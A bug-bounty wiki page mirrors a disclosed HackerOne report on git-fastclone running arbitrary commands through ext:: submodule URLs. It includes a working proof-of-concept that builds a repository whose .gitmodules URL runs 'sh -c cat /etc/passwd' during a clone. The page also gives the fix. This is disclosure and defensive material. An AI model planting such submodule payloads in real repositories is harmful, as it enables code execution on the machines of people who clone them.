Skip to content
RCE Disclosed report Intermediate CVE-2015-8968CVE-2015-7545

git-fastclone allows arbitrary command execution through usage of ext remote URLs in submodules

git-fastclone reimplements submodule fetching and does not restrict the protocols allowed in submodule URLs, so a malicious .gitmodules file can use the ext:: remote helper to run arbitrary commands on the victim's machine during a clone. An attacker could execute code by convincing a user to clone a crafted repository.

bburky Follow

Originally disclosed on HackerOne

  • Triaged in 39 hours
  • Fixed in 6 days
  • Paid in 6 days
  • Disclosed after 46 days

I recently discovered a security vulnerability in git that also affects other programs that manually reimplement submodule-like operations. The recent security update to git[0] concerning git-remote-ext URLs in submodules affects git-fastclone similarly. This bug was patched in Git v2.6.1, v2.5.4, v2.4.10 and v2.3.10. The issue in git was just assigned CVE-2015-7545 [2]. Google's git-repo command was affected very similarly[3] to git-fastclone and it was recently patched too.

The git team's description of the bug was:

Some protocols (like git-remote-ext) can execute arbitrary code found in the URL. The URLs that submodules use may come from arbitrary sources (e.g., .gitmodules files in a remote repository), and can hurt those who blindly enable recursive fetch. Restrict the allowed protocols to well known and safe ones.

Some more discussion of the vulnerability can be found in this commit message: https://github.com/git/git/commit/33cfccbbf35a56e190b79bdec5c85457c952a021

Basically, the git-remote-ext remote helper (which supports "ext::ssh example.com %S foo/repo" URLs) allows arbitrary command execution. This normally isn't ever a concern because user always sees and trusts the URL they pass to git. However git submodules, through the .gitmodules file, allow an attacker to request the client to fetch arbitrary git URLs.

Because git-fastclone reimplements fetching submodules, you cannot take advantage of the recent fix to git. Even if the user's git is patched and up to date, git-fastclone is vulnerable.

To mitigate this, git now supports a GIT_ALLOW_PROTOCOL environment variable to whitelist the allowed protocols for all git operations. See the 33cfccb commit above for an example. You could set this to the same whitelist that git-submodule now uses.

[1] https://lkml.org/lkml/2015/10/5/683 [2] https://access.redhat.com/security/cve/cve-2015-7545 [3] https://code.google.com/p/git-repo/issues/detail?id=210

The following commands should demonstrate the vulnerability. This repository should trigger the vulnerability on any *nix system and will cat /etc/passwd to the screen during git fastclone ...

git init malicious-ext-submodule
cd malicious-ext-submodule

# This can be the URL of any valid git repository
# This is just used to initially create the submodule in the repo
git submodule add https://github.com/octocat/Hello-World malicious-submodule

# Then rewrite the .gitmodules file to the malicious ext:: url
cat >.gitmodules <<"EOF"
[submodule "malicious-submodule"]
    path = malicious-submodule
    url = "ext::sh -c cat% /etc/passwd% >&2"
EOF
git add .gitmodules
git commit -m 'Malicious git-remote-ext submodule'
cd ..

# Now clone the repository locally
# This works just as well if cloning from a network-based git repository as well
git fastclone malicious-ext-submodule malicious-ext-submodule-clone

# Observe demonstration of command execution by printing /etc/password to stderr

# If you are running a patched version of git (e.g. v2.6.1), this command should not trigger the exploit:
git clone --recursive malicious-ext-submodule malicious-ext-submodule-clone

The original report as published on HackerOne, by bburky. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could run arbitrary commands on a victim's machine when the victim clones a crafted repository with git-fastclone, even if the victim's git is patched.

What the attacker needed

Victim clones an attacker-controlled repo; victim uses git-fastclone; no patched git protection applies

The fix

git-fastclone should restrict the allowed remote protocols, for example by honouring a whitelist such as the GIT_ALLOW_PROTOCOL environment variable that git-submodule now uses.

How it was found

  1. Create a repository and add a normal submodule to it.
  2. Rewrite the .gitmodules file so the submodule URL uses the ext:: remote helper.
  3. Commit the malicious .gitmodules file.
  4. Run git fastclone on the malicious repository to clone it.
  5. Observe the command from the URL being executed during the clone.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Git submodules let a repository pull in another repository, and the address of that other repository is stored in a file called .gitmodules. Git has a feature that can run a command when the address starts with a special prefix, so a malicious .gitmodules file can make your computer run an attacker's command when you clone. git-fastclone copied the submodule-fetching logic itself and forgot to block that special prefix, so it stayed vulnerable even after git was fixed.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by bburky

View all

1 more disclosed report, best first.

More from Square Open Source

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.